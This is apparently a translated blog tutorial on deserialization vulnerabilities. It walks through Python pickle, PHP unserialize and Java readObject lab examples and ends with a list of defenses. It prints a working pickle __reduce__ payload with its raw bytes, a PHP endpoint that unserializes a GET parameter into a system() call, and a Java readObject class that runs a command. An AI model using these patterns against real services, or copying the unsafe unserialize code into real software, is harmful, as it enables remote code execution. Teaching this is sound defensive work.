You don't even know how to deserialize vulnerabilities, what qualifications do you have to go to hw

1. Causes of deserialization vulnerabilities

Serialization: The process of converting an object into a sequence of bytes, that is, the process of converting an object into data that can be stored or transmitted. For example, convert objects in memory into binary data streams or files, which can be in byte or XML formats during network transmission.

Deserialization: The process of restoring a sequence of bytes to an object, that is, the process of converting data that can be stored or transmitted into an object. Such as loading a binary data stream or file into memory and restoring it as an object.

In functions such as identity verification, file reading and writing, and data transmission, access control is not performed on the deserialization interface, serialized data is not encrypted and signed, and the encryption key is hard-coded (such as Shiro 1.2.4). In the case of unsafe deserialization framework libraries (such as Fastjson 1.2.24) or functions, since serialized data can be controlled by users, attackers can carefully construct malicious serialized data (data that executes specific codes or commands) to pass For the application, execute the malicious code constructed by the attacker when the application deserializes the object to achieve the attacker's purpose


2. Vulnerability Exploitation Principle

In Python and PHP, generally by constructing a class that contains a magic method (a function that is automatically called when a specific event or scene occurs, usually a constructor or a destructor), and then calling command execution or code execution in the magic method function, then instantiate an object of this class and pass the object to the program after serialization, and when the program deserializes the object, the magic method is triggered to execute the command or code.

There is no magic method in Java, but there is a reflection ( reflection) mechanism: in the running state of the program, you can construct objects of any class, you can know the class to which any object belongs, you can know the member variables and methods of any class, you can Calling the properties and methods of any object, this dynamic acquisition of program information and the function of dynamically calling objects is called the reflection mechanism of the Java language. Generally, the reflection mechanism is used to construct an object that executes commands or directly invokes a method with command execution or code execution functions to implement arbitrary code execution.


3. Python deserialization vulnerability experiment

Take the pickle module as an example, assuming that the browser passes the serialized Cookie to the server for storage, and the server deserializes and restores the Cookie after some processing:

#!/usr/bin/python3
import pickle
# 客户端设置Cookie
set_cookie='fuckhacker'
# 序列化后传递
cookie=pickle.dumps(set_cookie)
print("序列化:",cookie)
# ...
# 服务器接收到序列化后的Cookie
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
print("反序列化:",new_cookie)

When the program is running normally, as shown in the figure:

insert image description here

Use the pickle module and the magic method __reduce__to generate a Payload that executes the command:

#!/usr/bin/python3
import pickle
import os

# 定义一个执行命令的类
class exec:
    def __init__(self,cmd):
        self.cmd=cmd
    #  __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,
    #  第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
    def __reduce__(self):
        return (os.system,(self.cmd,))
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)

Use whoamithe Payload of the command to replace the value of the serialized Cookie to simulate the RCE exploit. When a normal program deserializes the Cookie value, an __reduce__exec class containing a function is generated to execute the command:

#!/usr/bin/python3
import pickle
# 传递执行whoami命令的序列化数据
cookie=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)

The result of the program running, as shown in the figure:

insert image description here


4. PHP deserialization vulnerability experiment

In PHP, serializefunctions are usually used for serialization and unserializefunctions for deserialization

Commonly used magic methods in PHP

__construct:当对象被创建时调用

__destruct:当对象被销毁前调用

__sleep:执行serialize函数前调用

__wakeup:执行unserialize函数前调用

__call:在对象中调用不可访问的方法时调用

__callStatic:用静态方法调用不可访问方法时调用

__get:获得类成因变量时调用

__set:设置类成员变量时调用

Use the following code to create a class A and instantiate an object a, and then output the value of the serialized object a:

<?php
// 定义一个类
class A{
    
    
    var $test = "Hello";
    function __construct(){
    
    
    print "<h1>ABCD</h1>";
    }
}

// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
?>

The serialized data in PHP does not contain function __constructand printinformation like Python, but only class name and member variable information. Therefore, in unserializethe case where the parameters of the function are controllable, the code also needs to contain a magic method to exploit the deserialization vulnerability

Use the following code to define a class A containing the magic method __destruct, and then instantiate an object a and output the serialized data. When the object is destroyed, the program will call the system function to execute the df command, and then pass the parameter arg through the GET method The value is deserialized to the server:

<?php

// 定义一个类
class A{
    
    
    // 设置变量值为df
    var $test = "df";
    // 定义析构函数,在类A销毁时执行system("df")
    function __destruct(){
    
    
        print "Execute CMD: ".$this->test."<br/>";
        print "Result: ";
        system($this->test);
        print "<br/>";
    }
}

// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";

// GET方式获取参数arg的值
$arg = $_GET['arg'];
// 反序列化参数arg的值
$a_unser = unserialize($arg);
?>

5. Java deserialization vulnerability experiment

Java.io.ObjectOutputStreamIn Java, the methods in the class are usually used writeObjectfor serialization, and the methods java.io.ObjectInputStreamin the class readObjectare used for deserialization. Use the following code to serialize and deserialize the string:

public class Main {
    
    

    public static void main(String args[]) throws Exception {
    
    
        String obj = "hello";

        // 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件a.ser中读取数据
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复字符串
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }
}

For an object of a Java class to be serialized successfully, two conditions must be met:

  • The class must implement java.io.Serializablethe interface
  • All properties of the class must be serializable, if a property is not serializable, the property must be marked as short-lived

Use the following code to serialize the object and store it in the a.ser file:

// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
    
    
    public String cmd="calc";
    // 重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    
    
        // 执行默认的readObject()方法
        in.defaultReadObject();
        // 执行打开计算器程序的命令
        Runtime.getRuntime().exec(cmd);
    }
}

public class Main{
    
    

    public static void main(String args[]) throws Exception{
    
    
        // 实例化对象test
        Test test = new Test();

        // 将对象test序列化后写入a.ser文件
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(test);
        os.close();
    }
}

Use the following code to deserialize the object:

// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
    
    
    public String cmd="calc";
    // 重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    
    
        // 执行默认的readObject()方法
        in.defaultReadObject();
        // 执行打开计算器程序的命令
        Runtime.getRuntime().exec(cmd);
    }
}

public class Main{
    
    

    public static void main(String args[]) throws Exception{
    
    
        // 从a.ser文件中反序列化test对象
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Test objectFromDisk = (Test)ois.readObject();
        System.out.println(objectFromDisk.cmd);
        ois.close();
    }
}

6. Defense method

  • Encrypt or sign deserialized data, and do not use hard-coded encryption keys and signing keys
  • Add authentication and authorization to the deserialization interface
  • Set the deserialization service to only listen locally or set the corresponding firewall policy
  • Prohibit the use of vulnerable third-party framework libraries
  • Filter, disable dangerous functions
  • Filter T3 protocol or limit connectable IP
  • Set up Nginx reverse proxy to realize the isolation of t3 protocol and http protocol

Guess you like

Origin blog.csdn.net/Gherbirthday0916/article/details/130242999